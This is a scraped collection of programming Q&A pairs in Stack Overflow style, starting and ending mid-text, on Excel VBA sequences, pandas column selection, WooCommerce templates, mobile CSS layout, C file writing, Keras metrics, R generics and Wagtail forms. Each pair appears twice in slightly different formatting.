        If InStr(ws.Range("G" & CR).Value, ",1") > 0 Then
            ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.1
        Else
            ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.9
        End If

        'ID Banho
        If ws.Range("J" & LastRow).Value = ws.Range("J" & CR).Value Then
            ws.Range("A" & LastRow).Value = ws.Range("A" & CR).Value + 1
        Else
            ws.Range("A" & LastRow).Value = d
        End If

        Do While rgr > 0
            If ws2.Range("H" & CRG).Value < rgr Then
                rgr = rgr - ws2.Range("H" & CRG).Value
                ws2.Range("H" & CRG).Value = 0
                NRG = CRG + 1
            Else
                ws2.Range("H" & CRG).Value = ws2.Range("H" & CRG).Value - rgr
                rgr = 0
            End If
        Loop

        Do While rgp > 0
            If ws3.Range("H" & CRP).Value < rgp Then
                rgp = rgp - ws3.Range("H" & CRP).Value
                ws3.Range("H" & CRP).Value = 0
                CRP = CRP + 1
            Else
                ws3.Range("H" & CRP).Value = ws3.Range("H" & CRP).Value - rgp
                rgp = 0
            End If
        Loop

        Do While rge > 0
            If ws4.Range("H" & CRE).Value < rge Then
                rge = rge - ws4.Range("H" & CRE).Value
                ws4.Range("H" & CRE).Value = 0
                CRE = CRE + 1
            Else
                ws4.Range("H" & CRE).Value = ws4.Range("H" & CRE).Value - rge
                rge = 0
            End If
        Loop

TextBox4.Value = Null
TextBox5.Value = Null
'TextBox6.Value = Null
TextBox26.Value = Null
TextBox27.Value = Null

End Sub
</code>```

答:
I don't know the contents of all your variables, but based on your code I am assuming this will work as intended:

```<code>'ws.Range("G" & LastRow).Value = "1,1"

'Nº Banho
If Format(ws.Range("I" & CR).Value, "dd/mm/yyyy") = Format(Now(), "dd/mm/yyyy") Then
    If InStr(ws.Range("G" & CR).Value, ",1") > 0 Then
        ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.1
    Else
        ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.9
    End If
Else
    ws.Range("G" & LastRow).Value = "1,1"
End If
</code>```

It looks like you're using CR as the previous line, based on how you appear to be checking whether the previous sequence-value ends in ",1" or not.

The same logic can be extended to finding out whether this is a new day or not (and conversely, whether to reset the sequence). The logic I added is primarily this line:

If Format(ws.Range("I" & CR).Value, "dd/mm/yyyy") = Format(Now(), "dd/mm/yyyy") Then

Which is to say, if the datestamp in the previous line is the same as today's datestamp it proceeds with the code that increments the value. In reverse (the outtermost Else), this means that if the datestamps do not match - meaning the line we're adding has a datestamp that isn't the same as the datestamp in the previous line - we've reached a new day and the sequence has to be reset.

You'll also see that I commented out the line that initially sets the value of col G, as it looks like this line will at some point in time override a legitimate value.

Body:
I am working on a project that requires that I use a non sequential sequence that restarts everyday. Like this:

13/11/2017

1.1

1.2

2.1

2.2

3.1

And then starts over from 1.1 on the next day.

I'm not really sure what to do in this case. Use an array? Set an Excel column with those values? Use an event?

Can someone help me?

Here's the code so far.

Private Sub CommandButton4_Click() 'Guardar Banho Grelhas
    Dim LastRow As Long, CR As Long, CRG As Long, CRP As Long, CRE As Long, ws As Worksheet, ws2 As Worksheet, ws3 As Worksheet, ws4 As Worksheet, rgr As Long, rgp As Double, rge As Long, Ar As Variant, n As String, x As Long, d As Long, PRG As Long

    Set ws = Sheets("Banho Grelhas")
    Set ws2 = Sheets("STOCK Grelhas")
    Set ws3 = Sheets("STOCK Pyr")
    Set ws4 = Sheets("STOCK Et")
        LastRow = ws.Range("A" & Rows.Count).End(xlUp).Row + 1 'Banho Grelhas
        CR = ws.Range("A" & Rows.Count).End(xlUp).Row
        PRG = ws2.Range("A" & Rows.Count).End(xlUp).Row - 1 'Previous Row STOCK Grelhas
        CRP = ws3.Range("A" & Rows.Count).End(xlUp).Row - 1 'Current Row STOCK Pyr
        CRE = ws4.Range("A" & Rows.Count).End(xlUp).Row - 1 'Current Row STOCK Et
        CRG = PRG + 1 'Current Row Grelhas
        rgr = TextBox6.Value 'Grelhas a remover
        rgp = 17.5 * 0.8 'Pyrolidona a remover
        rge = 17.5 * 0.2 'Ethylenodiamina a remover
        n = "001"
        x = Replace(Date, "/", " ")
        d = x & n
        Ar = Sheets("Banho Grelhas").Range("K1:K120").Value

        ws.Range("A" & LastRow).Value = d
        ws.Range("B" & LastRow).Value = TextBox26.Text 'ID Carbonação
        ws.Range("C" & LastRow).Value = ws2.Range("A" & CRG) 'ID Grelhas
        ws.Range("D" & LastRow).Value = TextBox6.Text 'Quantidade Grelhas / Banho
        ws.Range("E" & LastRow).Value = ws3.Range("A" & CRP) 'ID Pyr
        ws.Range("F" & LastRow).Value = ws4.Range("A" & CRE) 'ID ET
        ws.Range("G" & LastRow).Value = "1,1"
        ws.Range("H" & LastRow).Value = TextBox5.Text 'TETRA
        ws.Range("I" & LastRow).Value = Format(Now(), "dd/mm/yyyy hh:mm") 'Data / Hora introdução
        ws.Range("J" & LastRow).Value = Date

        'Nº Banho
        If InStr(ws.Range("G" & CR).Value, ",1") > 0 Then
            ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.1
        Else
            ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.9
        End If

        'ID Banho
        If ws.Range("J" & LastRow).Value = ws.Range("J" & CR).Value Then
            ws.Range("A" & LastRow).Value = ws.Range("A" & CR).Value + 1
        Else
            ws.Range("A" & LastRow).Value = d
        End If

        Do While rgr > 0
            If ws2.Range("H" & CRG).Value < rgr Then
                rgr = rgr - ws2.Range("H" & CRG).Value
                ws2.Range("H" & CRG).Value = 0
                NRG = CRG + 1
            Else
                ws2.Range("H" & CRG).Value = ws2.Range("H" & CRG).Value - rgr
                rgr = 0
            End If
        Loop

        Do While rgp > 0
            If ws3.Range("H" & CRP).Value < rgp Then
                rgp = rgp - ws3.Range("H" & CRP).Value
                ws3.Range("H" & CRP).Value = 0
                CRP = CRP + 1
            Else
                ws3.Range("H" & CRP).Value = ws3.Range("H" & CRP).Value - rgp
                rgp = 0
            End If
        Loop

        Do While rge > 0
            If ws4.Range("H" & CRE).Value < rge Then
                rge = rge - ws4.Range("H" & CRE).Value
                ws4.Range("H" & CRE).Value = 0
                CRE = CRE + 1
            Else
                ws4.Range("H" & CRE).Value = ws4.Range("H" & CRE).Value - rge
                rge = 0
            End If
        Loop

TextBox4.Value = Null
TextBox5.Value = Null
'TextBox6.Value = Null
TextBox26.Value = Null
TextBox27.Value = Null

End Sub

Body:
I don't know the contents of all your variables, but based on your code I am assuming this will work as intended:

'ws.Range("G" & LastRow).Value = "1,1"

'Nº Banho
If Format(ws.Range("I" & CR).Value, "dd/mm/yyyy") = Format(Now(), "dd/mm/yyyy") Then
    If InStr(ws.Range("G" & CR).Value, ",1") > 0 Then
        ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.1
    Else
        ws.Range("G" & LastRow).Value = ws.Range("G" & CR).Value + 0.9
    End If
Else
    ws.Range("G" & LastRow).Value = "1,1"
End If

It looks like you're using CR as the previous line, based on how you appear to be checking whether the previous sequence-value ends in ",1" or not.

The same logic can be extended to finding out whether this is a new day or not (and conversely, whether to reset the sequence). The logic I added is primarily this line:

If Format(ws.Range("I" & CR).Value, "dd/mm/yyyy") = Format(Now(), "dd/mm/yyyy") Then

Which is to say, if the datestamp in the previous line is the same as today's datestamp it proceeds with the code that increments the value. In reverse (the outtermost Else), this means that if the datestamps do not match - meaning the line we're adding has a datestamp that isn't the same as the datestamp in the previous line - we've reached a new day and the sequence has to be reset.

You'll also see that I commented out the line that initially sets the value of col G, as it looks like this line will at some point in time override a legitimate value.


问:
read only certain columns
I would like to only read certain columns into a pandas dataframe from an excel file. I would like to specify this via the column ranges via usecols to specify this, but am faced with an error. What is the correct way to specify the column ranges as letters (yes, I know I could provide the column indicies, instead)?

```<code>import pandas as pd
df = pd.read_excel("test.xlsx", usecols="A:AV", header=None)
</code>```

~/anaconda3/lib/python3.5/site-packages/pandas/io/excel.py in
  read_excel(io, sheetname, header, skiprows, skip_footer, index_col,
  names, parse_cols, parse_dates, date_parser, na_values, thousands,
  convert_float, has_index_names, converters, dtype, true_values,
  false_values, engine, squeeze, **kwds)
      207         skip_footer=skip_footer, converters=converters, dtype=dtype,
      208         true_values=true_values, false_values=false_values, squeeze=squeeze,
  --> 209         **kwds)
      210
      211

~/anaconda3/lib/python3.5/site-packages/pandas/io/excel.py in
  _parse_excel(self, sheetname, header, skiprows, names, skip_footer, index_col, has_index_names, parse_cols, parse_dates, date_parser,
  na_values, thousands, convert_float, true_values, false_values,
  verbose, dtype, squeeze, **kwds)
      508                                     squeeze=squeeze,
      509                                     dtype=dtype,
  --> 510                                     **kwds)
      511
      512                 output[asheetname] = parser.read()

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  TextParser(*args, **kwds)    1910     """    1911     kwds['engine'] =
  'python'
  -> 1912     return TextFileReader(*args, **kwds)    1913    1914

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  init(self, f, engine, **kwds)
      762             self.options['has_index_names'] = kwds['has_index_names']
      763
  --> 764         self._make_engine(self.engine)
      765
      766     def close(self):

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  _make_engine(self, engine)
      993                                  ' "c", "python", or' ' "python-fwf")'.format(
      994                                      engine=engine))
  --> 995             self._engine = klass(self.f, **self.options)
      996
      997     def _failover_to_python(self):

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  init(self, f, **kwds)    1994         # infer column indices from self.usecols if is is specified.    1995         self._col_indices =
  None
  -> 1996         self.columns, self.num_original_columns = self._infer_columns()    1997    1998         # Now self.columns has
  the set of columns that we will process.

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  _infer_columns(self)    2387                 else:    2388                     columns = [lrange(ncols)]
  -> 2389                 columns = self._handle_usecols(columns, columns[0])    2390             else:    2391                 if
  self.usecols is None or len(names) >= num_original_columns:

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  _handle_usecols(self, columns, usecols_key)    2422                 for col in self.usecols:    2423                     if
  isinstance(col, string_types):
  -> 2424                         col_indices.append(usecols_key.index(col))    2425

  else:    2426                         col_indices.append(col)

```<code>In [20]: pd.__version__
Out[20]: '0.20.2'
</code>```

file: test.xlsx

答:
Need upgrade to pandas 0.21.0 (dev discussion):

```<code>df = pd.read_excel("test.xlsx", usecols='A:B', header=None)
print (df.head())

          0                    1
0  sequence  2015-02-11 00:00:00
1        Aa                 6239
2    AaBpL5                  NaN
3    AaCjL5                  NaN
4    AaDrL2                  NaN
</code>```

Title: read only certain columns

Body:
I would like to only read certain columns into a pandas dataframe from an excel file. I would like to specify this via the column ranges via usecols to specify this, but am faced with an error. What is the correct way to specify the column ranges as letters (yes, I know I could provide the column indicies, instead)?

import pandas as pd
df = pd.read_excel("test.xlsx", usecols="A:AV", header=None)

~/anaconda3/lib/python3.5/site-packages/pandas/io/excel.py in
  read_excel(io, sheetname, header, skiprows, skip_footer, index_col,
  names, parse_cols, parse_dates, date_parser, na_values, thousands,
  convert_float, has_index_names, converters, dtype, true_values,
  false_values, engine, squeeze, **kwds)
      207         skip_footer=skip_footer, converters=converters, dtype=dtype,
      208         true_values=true_values, false_values=false_values, squeeze=squeeze,
  --> 209         **kwds)
      210
      211

~/anaconda3/lib/python3.5/site-packages/pandas/io/excel.py in
  _parse_excel(self, sheetname, header, skiprows, names, skip_footer, index_col, has_index_names, parse_cols, parse_dates, date_parser,
  na_values, thousands, convert_float, true_values, false_values,
  verbose, dtype, squeeze, **kwds)
      508                                     squeeze=squeeze,
      509                                     dtype=dtype,
  --> 510                                     **kwds)
      511
      512                 output[asheetname] = parser.read()

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  TextParser(*args, **kwds)    1910     """    1911     kwds['engine'] =
  'python'
  -> 1912     return TextFileReader(*args, **kwds)    1913    1914

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  init(self, f, engine, **kwds)
      762             self.options['has_index_names'] = kwds['has_index_names']
      763
  --> 764         self._make_engine(self.engine)
      765
      766     def close(self):

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  _make_engine(self, engine)
      993                                  ' "c", "python", or' ' "python-fwf")'.format(
      994                                      engine=engine))
  --> 995             self._engine = klass(self.f, **self.options)
      996
      997     def _failover_to_python(self):

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  init(self, f, **kwds)    1994         # infer column indices from self.usecols if is is specified.    1995         self._col_indices =
  None
  -> 1996         self.columns, self.num_original_columns = self._infer_columns()    1997    1998         # Now self.columns has
  the set of columns that we will process.

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  _infer_columns(self)    2387                 else:    2388                     columns = [lrange(ncols)]
  -> 2389                 columns = self._handle_usecols(columns, columns[0])    2390             else:    2391                 if
  self.usecols is None or len(names) >= num_original_columns:

~/anaconda3/lib/python3.5/site-packages/pandas/io/parsers.py in
  _handle_usecols(self, columns, usecols_key)    2422                 for col in self.usecols:    2423                     if
  isinstance(col, string_types):
  -> 2424                         col_indices.append(usecols_key.index(col))    2425

  else:    2426                         col_indices.append(col)

In [20]: pd.__version__
Out[20]: '0.20.2'

file: test.xlsx

Body:
Need upgrade to pandas 0.21.0 (dev discussion):

df = pd.read_excel("test.xlsx", usecols='A:B', header=None)
print (df.head())

          0                    1
0  sequence  2015-02-11 00:00:00
1        Aa                 6239
2    AaBpL5                  NaN
3    AaCjL5                  NaN
4    AaDrL2                  NaN


问:
Get the customer user_id in Woocommerce email footer template
I am trying to get current_user_id in woocommerce custom email template but it returns 0. Does anyone know how to get user_id in email template in wordpress. I get the user id when I use this code in any php template.

Below is my code:

```<code><?php global $current_user;
      get_currentuserinfo();
      echo '<h4>Your code:</h3>' . $current_user->ID . '';
?>
</code>```

Here is complete template code link:
email-template-code

答:
I think you should use wordpress hooks like you already using in your email template:

```<code>apply_filters( 'woocommerce_email_footer_text', get_option( 'woocommerce_email_footer_text' )
</code>```

Instead of directly writing like this

```<code>global $current_user;
get_currentuserinfo();
echo '<h4>Your code:</h3>' . $current_user->ID . '';
</code>```

You could apply filter like this

```<code>global $current_user;
apply_filters( 'woocommerce_custom_template_email', $current_user->ID );
</code>```

And when email function responsible for sending emails is triggered you use add_filter like this

```<code>add_filters( 'woocommerce_custom_template_email', 'custom_email_function' );
function custom_email_function($user_id) {
    global $current_user;
    $user_id = $current_user->ID;
    return $user_id;
}
</code>```

Maybe in this way you can get current user id. Alse make shure that you are trying to get current user id for logged in users.

Body:
I am trying to get current_user_id in woocommerce custom email template but it returns 0. Does anyone know how to get user_id in email template in wordpress. I get the user id when I use this code in any php template.

Below is my code:

<?php global $current_user;
      get_currentuserinfo();
      echo '
Your code:
' . $current_user->ID . '';
?>

Here is complete template code link:
email-template-code

Body:
I think you should use wordpress hooks like you already using in your email template:

apply_filters( 'woocommerce_email_footer_text', get_option( 'woocommerce_email_footer_text' )

Instead of directly writing like this

global $current_user;
get_currentuserinfo();
echo '<h4>Your code:</h3>' . $current_user->ID . '';

You could apply filter like this

global $current_user;
apply_filters( 'woocommerce_custom_template_email', $current_user->ID );

And when email function responsible for sending emails is triggered you use add_filter like this

add_filters( 'woocommerce_custom_template_email', 'custom_email_function' );
function custom_email_function($user_id) {
    global $current_user;
    $user_id = $current_user->ID;
    return $user_id;
}

Maybe in this way you can get current user id. Alse make shure that you are trying to get current user id for logged in users.


问:
how to make content occupy whole page regardless of the screen size?
I am designing a web page for the mobile first time. I have given 100% width and height so that content will render at the full page regardless of mobile screen size. but still, as you can see from the screenshot, there is empty space below and on the right side. Also even one of my checkbox content is even crossing the width of the page. I have tried putting that content in a span tag and defining a class and putting something like max-width: 20 px or something but it is not having any effect whatsoever. below my code snippet of HTML and css

/* style.css */
/* You can add global styles to this file, and also import other style files */
@import "~@angular/material/prebuilt-themes/indigo-pink.css";

body {
 margin: 0;
height: 100%;
width: 100%;
}

/* this page css */

mat-card{
width: 100%;
}

img{
padding: 2%;
text-align: center;
width:5%;
height: 5%;
}

.logo {
  margin: 10%;
 text-align: center;

}

.confirm-text {
max-width: 30px;
   display: block;
}

.example-container {
  display: flex;
  flex-direction: column;
}

.example-container>* {
  width: 100%;
}

.example-right-align {
  text-align: right;
}

input.example-right-align::-webkit-outer-spin-button,
input.example-right-align::-webkit-inner-spin-button {
  display: none;
}

.example-radio-group {
  display: inline-flex;
  flex-direction: column;
}
.checkbox {
display: block;
flex-direction: column;
padding-left:4%;
}

strong {
padding-left: 4%;
}
p {
  padding-left: 4%;
}

.example-radio-button {
  margin: 3%;
}

.example-selected-value {
  margin: 15px 0;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><mat-card><div class="logo">
  <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRE3x0vsDn1R5O0v7QKVvJNMJK2txXUv8IIsY-2t4R8ore5AjMk0g" alt="image">
  <br>
  <br>
  <p>your return request has been confirmed. please tell us a convenient time to schedule the pick up</p>
</div></mat-card>
<mat-card class="login-form">
<form class="example-container" (ngSubmit)="onSubmit(f)" #f="ngForm">
  <strong>Pick up your preferred date</strong>
  <mat-radio-group class="example-radio-group" name="selectedDate" [(ngModel)]="selectedDate" required>
  <mat-radio-button class="example-radio-button"
     *ngFor="let date of dateOptions" [value]="date" ngDefaultControl>
    {{date}}
  </mat-radio-button>
</mat-radio-group>
<br><br>
<strong>Select a preferred time</strong>
<mat-radio-group
 class="example-radio-group" name="selectedTime" [(ngModel)]="selectedTime" required>
  <mat-radio-button class="example-radio-button"
    *ngFor="let time of timeOptions" [value]="time" ngDefaultControl>
    {{time}}
  </mat-radio-button>
</mat-radio-group>
<hr>
<mat-checkbox class="checkbox" name="confirmation" [(ngModel)]="confirmation" required>
  <span class="confirm-text">I confirm the above selected date and time as the preferred slot for return pick up.</span>
</mat-checkbox>
<hr>
<button mat-raised-button color="accent"  type="submit"  [disabled]="!f.valid">Submit</button>
</form>
</mat-card></code>```

edit: this is index.html

```<code><!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>Myntra</title>
  <base href="/">
  <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <link rel="icon" type="image/x-icon" href="favicon.ico">
<link href="https://storage.googleapis.com/code.getmdl.io/1.1.0/material.indigo-pink.min.css" rel="stylesheet" /
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">

</head>
<body>
  <app-root></app-root>
</body>
</html>
</code>```

答:
I found this on stackoverflow for HTML option:
HTML5 Canvas 100% Width Height of Viewport?

In order to make the canvas full screen width and height always, meaning even when the browser is resized, you need to run your draw loop within a function that resizes the canvas to the window.innerHeight and window.innerWidth.

I found this on stackoverflow for jQuery option:
Dynamically resize element with window size jquery

Also please see this on stackoverflow for additional support for proper resizing Understanding offsetWidth, clientWidth, scrollWidth and -Height, respectively

Body:
I am designing a web page for the mobile first time. I have given 100% width and height so that content will render at the full page regardless of mobile screen size. but still, as you can see from the screenshot, there is empty space below and on the right side. Also even one of my checkbox content is even crossing the width of the page. I have tried putting that content in a span tag and defining a class and putting something like max-width: 20 px or something but it is not having any effect whatsoever. below my code snippet of HTML and css

/* style.css */
/* You can add global styles to this file, and also import other style files */
@import "~@angular/material/prebuilt-themes/indigo-pink.css";

body {
 margin: 0;
height: 100%;
width: 100%;
}

/* this page css */

mat-card{
width: 100%;
}

img{
padding: 2%;
text-align: center;
width:5%;
height: 5%;
}

.logo {
  margin: 10%;
 text-align: center;

}

.confirm-text {
max-width: 30px;
   display: block;
}

.example-container {
  display: flex;
  flex-direction: column;
}

.example-container>* {
  width: 100%;
}

.example-right-align {
  text-align: right;
}

input.example-right-align::-webkit-outer-spin-button,
input.example-right-align::-webkit-inner-spin-button {
  display: none;
}

.example-radio-group {
  display: inline-flex;
  flex-direction: column;
}
.checkbox {
display: block;
flex-direction: column;
padding-left:4%;
}

strong {
padding-left: 4%;
}
p {
  padding-left: 4%;
}

.example-radio-button {
  margin: 3%;
}

.example-selected-value {
  margin: 15px 0;
}

<mat-card>

your return request has been confirmed. please tell us a convenient time to schedule the pick up

</mat-card>
<mat-card class="login-form">
<form class="example-container" (ngSubmit)="onSubmit(f)" #f="ngForm">
  Pick up your preferred date
  <mat-radio-group class="example-radio-group" name="selectedDate" [(ngModel)]="selectedDate" required>
  <mat-radio-button class="example-radio-button"
     *ngFor="let date of dateOptions" [value]="date" ngDefaultControl>
    {{date}}
  </mat-radio-button>
</mat-radio-group>

Select a preferred time
<mat-radio-group
 class="example-radio-group" name="selectedTime" [(ngModel)]="selectedTime" required>
  <mat-radio-button class="example-radio-button"
    *ngFor="let time of timeOptions" [value]="time" ngDefaultControl>
    {{time}}
  </mat-radio-button>
</mat-radio-group>

<mat-checkbox class="checkbox" name="confirmation" [(ngModel)]="confirmation" required>
  I confirm the above selected date and time as the preferred slot for return pick up.
</mat-checkbox>

<button mat-raised-button color="accent"  type="submit"  [disabled]="!f.valid">Submit</button>
</form>
</mat-card>

edit: this is index.html

<!doctype html>

  <meta charset="utf-8">
  <title>Myntra</title>
  <base href="/">
  <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <link rel="icon" type="image/x-icon" href="favicon.ico">
<link href="https://storage.googleapis.com/code.getmdl.io/1.1.0/material.indigo-pink.min.css" rel="stylesheet" /
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">

  <app-root></app-root>


答:
first // are not valid coments in CSS, use /*  CODE  */

simple remove your % values and change them to vh and vw :) also add few css to all object

vh and vw its USER POINT OF VIEWs

```<code>*{
padding: 0;
margin: 0;
}
</code>```

also add this HTML to define viewport

```<code><meta name="viewport"
      content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
</code>```

Title: how to make content occupy whole page regardless of the screen size?

Body:
first // are not valid coments in CSS, use /*  CODE  */

simple remove your % values and change them to vh and vw :) also add few css to all object

vh and vw its USER POINT OF VIEWs

*{
padding: 0;
margin: 0;
}

also add this HTML to define viewport

<meta name="viewport"
      content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">


问:
Server error on microsoft Video Indexer
I am trying to use Video Indexer but keep getting the following error, spelling typo and all:
"Faild indexing video Please delete or re-index playlist"

There is also an orange/red "server error" message box that pops up at the bottom right of the screen if i try to re-index the video.

The video seems to upload properly and begins processing but fails at 5% with the error above. I get the error regardless of if i use a URL to a video stored in a cloud service or directly from my hard drive.

I have the same problem with multiple accounts and Azure subscriptions.

I have used Indexer in the past with no problems.

Any ideas on what this could be?

答:
I'm a member of the video indexer development team.

We are currently working on improving the upload experience in video indexer It should be released in the next couple of days.

If you could share more info about your specific request by sending video name, account name to visupport@microsoft.com (please include a reference to this question).

I will check and see what is the root cause and share the resolution with the rest of stackoverflow community.

Title: Server error on microsoft Video Indexer


答:
You are failing to distinguish between values and representations. Understanding this difference is a vital skill every programmer needs, it's as important as understanding the distinction between things and stuff.

If you want to write the values of the array to a file, you'll have to convert them into a sensible representation to write to the file. Your code never does that.

Suppose I want to tell you how many cars I own. And it's two cars. I have to convert the number two into some form that I can communicate to you. Since we both speak English, I can say the word "two". But if I just tried to present to you the internal way my brain encodes the number of cars I have, you wouldn't be able to make any sense out of it. That encoding will only make sense to my brain.

Your code tries to write the internal encoding of the array to the file directly. But who knows how to make sense of that internal encoding? It will look like gibberish.

It's like trying to actually write the number three on a piece of paper. You can write a representation of it, like "three" or "3" or "III". But you can't just take the number itself and somehow write it on the paper. That's a category error.

Similarly, if you are happy and want to tell people that you are happy, you have to pick a language and a way to encode that language (spoken or written) and represent the idea that you are happy in that chosen language and form. You can't just output that fact that you happy without first choosing an appropriate representation and encoding the idea appropriately for transport to others. Again, that's a category error.

Punch "serialization" -- the process of converting internal encodings into sensible streams of bytes with a well-defined format -- into your favorite search engine.

Title: C - fwrite creates gibberish

Body:
I want to write the content of an array into a file. The code below is a simplified program of mine. It does create the file "test.txt", but it only writes a bunch of 0 and \ into the file. What am I doing wrong?

#include <stdio.h>
#include <stdlib.h>

int main(){

    int a[10],i;
    for(i=0;i<10;i++) a[i]=i;

    FILE* f = NULL;
    f = fopen("test.txt","ab+");
    fwrite(&a,sizeof(int),sizeof(a),f);

    return 0;
}

These are the contents of the file:

\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00 \00\00\00\90@\00\00\00\00\00P8\00\00\00\00\00\00\00\00 \00\00\00\00\00\00\00\00\00\00\00\B9\C5?\00\00\00\00\00\00 \00\00\008%j\FC\00\00\00\00\00\00\00\00\00\80@\00\00\00\00\00\00\00\00\00\00\00\00\00\AD\E6\FE\8A\F6T\90@\00\00\00\00\000%j\FC\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00


问:
What is "metrics" in Keras?
It is not yet clear for me what metrics are (as given in the code below). What exactly are they evaluating? Why do we need to define them in the model? Why we can have multiple metrics in one model? And more importantly what is the mechanics behind all this?
Any scientific reference is also appreciated.

model.compile(loss='mean_squared_error',
              optimizer='sgd',
              metrics=['mae', 'acc'])
```

答:
As in keras metrics page described:

A metric is a function that is used to judge the performance of your
  model

Metrics are frequently used with early stopping callback to terminate training and avoid overfitting

Title: What is "metrics" in Keras?


问:
Using sd as a generic function in R
If I a have a class called foo, then it is straightforward to overload the summary function

```<code>summary.foo = function(x, ...) print("bar")
</code>```

However this technique does not work with the sd function, that is

```<code>> bar = createFooClass()
> sd.foo = function(x, ...) print("Hi")
> sd(bar)
  error: is.atomic(x) is not TRUE
</code>```

What is the correct way of overloading this function?

答:
You can hijack any non-generic function, make it (S3) generic and set the original version to be the default version. For example:

```<code>## make an S3 generic for sd
sd <- function(x, ...) UseMethod("sd")
## take the usual definition of sd,
## and set it to be the default method
sd.default <- stats::sd
## create a method for our class "foo"
sd.foo = function(x, ...) print("Hi")
</code>```

A final step, if this is in a package, is to add a ... argument to sd.default to allow passing of package checks:

```<code>formals(sd.default) <- c(formals(sd.default), alist(... = ))
</code>```

giving:

```<code>> args(sd.default)
function (x, na.rm = FALSE, ...)
NULL
> args(stats::sd)
function (x, na.rm = FALSE)
NULL
</code>```

This then gives the desired behaviour:

```<code>> bar <- 1:10
> sd(bar)
[1] 3.027650
> class(bar) <- "foo"
> sd(bar)
[1] "Hi"
</code>```

This is documented in section 7.1 of the Writing R Extensions manual

Title: Using sd as a generic function in R

Body:
If I a have a class called foo, then it is straightforward to overload the summary function

summary.foo = function(x, ...) print("bar")

However this technique does not work with the sd function, that is

> bar = createFooClass()
> sd.foo = function(x, ...) print("Hi")
> sd(bar)
  error: is.atomic(x) is not TRUE

What is the correct way of overloading this function?

Body:
You can hijack any non-generic function, make it (S3) generic and set the original version to be the default version. For example:

## make an S3 generic for sd
sd <- function(x, ...) UseMethod("sd")
## take the usual definition of sd,
## and set it to be the default method
sd.default <- stats::sd
## create a method for our class "foo"
sd.foo = function(x, ...) print("Hi")

A final step, if this is in a package, is to add a ... argument to sd.default to allow passing of package checks:

formals(sd.default) <- c(formals(sd.default), alist(... = ))

giving:

> args(sd.default)
function (x, na.rm = FALSE, ...)
NULL
> args(stats::sd)
function (x, na.rm = FALSE)
NULL

This then gives the desired behaviour:

> bar <- 1:10
> sd(bar)
[1] 3.027650
> class(bar) <- "foo"
> sd(bar)
[1] "Hi"

This is documented in section 7.1 of the Writing R Extensions manual


问:
Wagtail not pulling through custom field panels
I'm overriding the wagtail AbstractFormField panel attribute in the following way:

```<code>...
before_input = RichTextField(verbose_name=_('before input'), blank=True)
after_input = RichTextField(verbose_name=_('after input'), blank=True)

panels = [
    FieldPanel('label'),
    FieldPanel('before_input'),
    FieldPanel('after_input'),
    FieldPanel('required'),
    FieldPanel('field_type', classname="formbuilder-type"),
    FieldPanel('choices', classname="formbuilder-choices"),
    FieldPanel('default_value', classname="formbuilder-default"),
]
</code>```

where the other panels are what comes out of the box.

This is working perfectly on the admin side and also saving as rich text into my database

I am pulling this through to my form in my template in the following way:

```<code><form action="{% pageurl page %}" method="POST" class="lm-ls1" id="feedback-form">
  {% csrf_token %}

  {{ form.question1.help_text }} <!-- Simpler non interable way -->
  {{ form.question1.before_input }}

  <p>---------------</p>
  {% for row in form.fields.values %}
    {{row.choices}}
    <p>---------------</p>
    {{row.help_text}}
    <p>---------------</p>
    {{row.before_input}}
  {% endfor %}
</form>
</code>```

But I am only getting html output for the form panels excluding the before_input and after_input ones

I am getting through roughly the following:

```<code>Overall, how did you feel about the service you received today?
---------------

[('Very satisfied', 'Very satisfied'), ('Satisfied', 'Satisfied'),
 ('Neither satisfied nor dissatisfied', 'Neither satisfied nor dissatisfied'), ('Dissatisfied', 'Dissatisfied'), ('Very dissatisfied', 'Very dissatisfied')]
---------------

Overall, how did you feel about the service you received today?
---------------

---------------
</code>```

How can I access the before_input field panel data stored in the _formfield wagtail table?

答:
Bit late but hopefully this still helps you or someone else out there.

How Wagtail Forms Work

Wagtail forms provided to the view context for AbstractFormPage models is a fully instanced Django Form. This means that you will only ever find values in the form that can be given to a Django Form.

This includes fields, which are instances of Django's Fields (eg. CharField) and there is no simple way to add additional attributes to these fields.

You can see how the Form object is built in the Wagtail FormBuilder class definition.

1 - Make a Custom Template Tag

A somewhat simple way to get additional attributes on your FormField (Wagtail's FormField) is using a template tag.

